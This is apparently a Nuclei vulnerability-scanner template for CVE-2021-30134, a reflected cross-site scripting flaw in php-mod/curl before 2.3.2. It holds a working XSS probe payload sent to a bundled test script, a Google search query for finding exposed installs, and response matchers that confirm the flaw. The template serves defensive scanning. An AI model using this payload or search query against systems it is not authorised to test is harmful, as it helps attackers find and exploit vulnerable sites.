id: CVE-2021-30134

info:
  name: Php-mod/curl Library <2.3.2 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.
  remediation: |
    Upgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0b547728-27d2-402e-ae17-90d539344ec7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-30134
    cwe-id: CWE-79
    epss-score: 0.00071
    epss-percentile: 0.29494
    cpe: cpe:2.3:a:php_curl_class_project:php_curl_class:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: php_curl_class_project
    product: php_curl_class
    google-query: inurl:"/php-curl-test/post_file_path_upload.php"
  tags: cve,cve2021,xss,php-mod,wpscan

http:
  - method: GET
    path:
      - "{{BaseURL}}/vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'key":"<img src onerror=alert(document.domain)>"'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100b91b64807bc523a09751af29c18b55036502a2004c8e6ce38c8917158d68ec6502206f584059e8e4aee445ceb148293c15e95170796433e8270e57a865803f9d4287:922c64590222798bb761d5b6d8e72950